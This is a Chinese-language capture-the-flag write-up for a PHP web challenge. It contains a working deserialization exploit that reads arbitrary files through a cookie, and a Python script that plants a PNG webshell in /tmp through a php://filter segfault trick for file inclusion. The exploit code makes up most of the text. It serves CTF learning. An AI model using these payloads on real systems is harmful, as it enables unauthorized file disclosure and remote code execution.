搞了一天时间,环境是搞出来了,然而二次渲染是怎么都整不对,最后总是会把shell给弄乱码。。。索性不管了,来一波意识流wp
    先上源码:

    1. <!-- You may need to know what is in e2a7106f1cc8bb1e1318df70aa0a3540.php-->
    2. <?php
    3. // index.php
    4. ini_set('display_errors', 'on');
    5. if(!isset($_COOKIE['ctfer'])){
    6. setcookie("ctfer",serialize("ctfer"),time()+3600);
    7. }else{
    8. include "function.php";
    9. echo "I see your Cookie<br>";
    10. $res = unserialize($_COOKIE['ctfer']);
    11. if(preg_match('/myclass/i',serialize($res))){
    12. throw new Exception("Error: Class 'myclass' not found ");
    13. }
    14. }
    15. highlight_file(__FILE__);
    16. echo "<br>";
    17. highlight_file("myclass.php");
    18. echo "<br>";
    19. highlight_file("function.php");
    20. <?php
    21. // myclass.php
    22. class Hello{
    23. public function __destruct()
    24. { if($this->qwb) echo file_get_contents($this->qwb);
    25. }
    26. }
    27. ?>
    28. <?php
    29. // function.php
    30. function __autoload($classname){
    31. require_once "/var/www/html/$classname.php";
    32. }
    33. ?>

    第一关,可以看到有个$res = unserialize($_COOKIE['ctfer']);再加上下面的Hello类和autoload,很明显是要利用反序列化漏洞。
    先看看function.php的`
    autoload,用法基本上就是根据传进来的参数自动加载类,而myclass.php中有一个__destruct,再配合unserialize`,就可以读取到任意文件。
    然而这道题也没那么简单,可以看到下面有个

    1. if(preg_match('/myclass/i',serialize($res))){
    2. throw new Exception("Error: Class 'myclass' not found ");
    3. }

    检测myclass关键字,如果有直接抛出异常。
    这里用到一个小技巧,通过修改序列化字符串,使其反序列化失败,$res的值就是false,成功绕过。
    读文件 exp.php

    1. <?php
    2. class myclass{}
    3. class Hello{ public $qwb;}
    4. $a= new Hello();
    5. $a->qwb = "/var/www/html/e2a7106f1cc8bb1e1318df70aa0a3540.php";
    6. $b = new myclass();
    7. $c = urlencode(serialize([$b, $a]));
    8. $cookie = str_replace("a%3A2", "a%3A3", $c);
    9. $req = curl_init("http://eci-2ze1vm55dfrbg963rkw5.cloudeci1.ichunqiu.com:80/");
    10. curl_setopt($req, CURLOPT_RETURNTRANSFER, true);
    11. curl_setopt($req, CURLOPT_HTTPHEADER, array(
    12. "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
    13. "Cache-Control: no-cache",
    14. "Upgrade-Insecure-Requests: 1",
    15. "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0",
    16. "Connection: close",
    17. "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    18. ));
    19. curl_setopt($req, CURLOPT_COOKIE,"ctfer=".$cookie);
    20. $result = curl_exec($req);
    21. echo "Status code: ".curl_getinfo($req, CURLINFO_HTTP_CODE)."\n";
    22. echo "Response body: ".$result."\n";
    23. curl_close($req);

    e2a7106f1cc8bb1e1318df70aa0a3540.php的内容:

    1. <?php
    2. include "bff139fa05ac583f685a523ab3d110a0.php";
    3. include "45b963397aa40d4a0063e0d85e4fe7a1.php";
    4. $file = isset($_GET['293410ae-355b-4fb9-8ded-3275c1ada3a6'])?$_GET['293410ae-355b-4fb9-8ded-3275c1ada3a6']:"404.html";
    5. $flag = preg_match("/tmp/i",$file);
    6. if($flag){
    7. PNG($file);
    8. }
    9. include($file);
    10. $res = @scandir($_GET['7bd47456-b0af-434b-9bec-e7e0ade74076']);
    11. if(isset($_GET['7bd47456-b0af-434b-9bec-e7e0ade74076'])&&$_GET['7bd47456-b0af-434b-9bec-e7e0ade74076']==='/tmp'){
    12. $somthing = GenFiles();
    13. $res = array_merge($res,$somthing);
    14. }
    15. shuffle($res);
    16. @print_r($res);
    17. ?>

    bff139fa05ac583f685a523ab3d110a0.php:

    1. <?php
    2. function PNG($file)
    3. {
    4. if(!is_file($file)){die("我从来没有见过侬");}
    5. $first = imagecreatefrompng($file);
    6. if(!$first){
    7. die("发现了奇怪的东西2333");
    8. }
    9. $size = min(imagesx($first), imagesy($first));
    10. unlink($file);
    11. $second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
    12. if ($second !== FALSE) {
    13. imagepng($second, $file);
    14. imagedestroy($second);//销毁,清内存
    15. }
    16. imagedestroy($first);
    17. }
    18. ?>

    45b963397aa40d4a0063e0d85e4fe7a1.php:

    1. <?php
    2. function GenFiles(){
    3. $files = array();
    4. $str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    5. $len=strlen($str)-1;
    6. for($i=0;$i<10;$i++){
    7. $filename="php";
    8. for($j=0;$j<6;$j++){
    9. $filename .= $str[rand(0,$len)];
    10. }
    11. // file_put_contents('/tmp/'.$filename,'flag{fake_flag}');
    12. $files[] = $filename;
    13. }
    14. return $files;
    15. }
    16. ?>

    先看第一部分:

    1. $file = isset($_GET['293410ae-355b-4fb9-8ded-3275c1ada3a6'])?$_GET['293410ae-355b-4fb9-8ded-3275c1ada3a6']:"404.html";
    2. $flag = preg_match("/tmp/i",$file);
    3. if($flag){
    4. PNG($file);
    5. }
    6. include($file);

    大致流程就是判断用户传入的字符串是否含有tmp,如果有则将文件调用PNG函数进行一次二次渲染然后include,没有tmp则直接进行包含
    第二部分:

    1. $res = @scandir($_GET['7bd47456-b0af-434b-9bec-e7e0ade74076']);
    2. if(isset($_GET['7bd47456-b0af-434b-9bec-e7e0ade74076'])&&$_GET['7bd47456-b0af-434b-9bec-e7e0ade74076']==='/tmp'){
    3. $somthing = GenFiles();
    4. $res = array_merge($res,$somthing);
    5. }
    6. shuffle($res);
    7. @print_r($res);

    就是扫描用户指定目录,并且通过GenFiles()生成一些实际上不存在的文件名打印出来,迷惑选手。
    既然有包含,那么问题就是怎么上传上去文件了,这里用到一个php7的特性:LFI via SegmentFault
    在有文件包含漏洞的地方,使其包含php://filter/string.strip_tags/resource=/etc/passwd,会导致php SegmentFault,如果同时还有一个文件上传,这个文件会被保存至upload_tmp_dir,这个值一般为 /tmp。
    有了上传文件,就可以包含了,不过还需要绕过二次渲染,利用PNG-IDAT-Payload-Generator生成一个图片即可。

    1. # -*- coding: utf-8 -*-
    2. import requests
    3. import string
    4. import itertools
    5. charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    6. base_url = "http://localhost:8081"
    7. def upload_file_to_include(url, file_content):
    8. files = {'file': ('evil.jpg', file_content, 'image/jpeg')}
    9. try:
    10. response = requests.post(url, files=files)
    11. print(response)
    12. except Exception as e:
    13. print(e)
    14. def generate_tmp_files():
    15. with open('shell.png', 'rb') as fin:
    16. file_content = fin.read()
    17. phpinfo_url = "%s/e2a7106f1cc8bb1e1318df70aa0a3540.php?72aa377b-3fc0-4599-8194-3afe2fc9054b=php://filter/string.strip_tags/resource=/etc/passwd" % (base_url)
    18. length = 6
    19. times = int(len(charset) ** (length / 2))
    20. for i in range(times):
    21. print("[+] %d / %d" % (i, times))
    22. upload_file_to_include(phpinfo_url, file_content)
    23. def main():
    24. generate_tmp_files()
    25. if __name__ == "__main__":
    26. main()

    上传成功后,通过第二部分的scandir可以得到/tmp目录下的所有文件,一个一个试就可以了。
    最后就是找flag,参考网上的wp。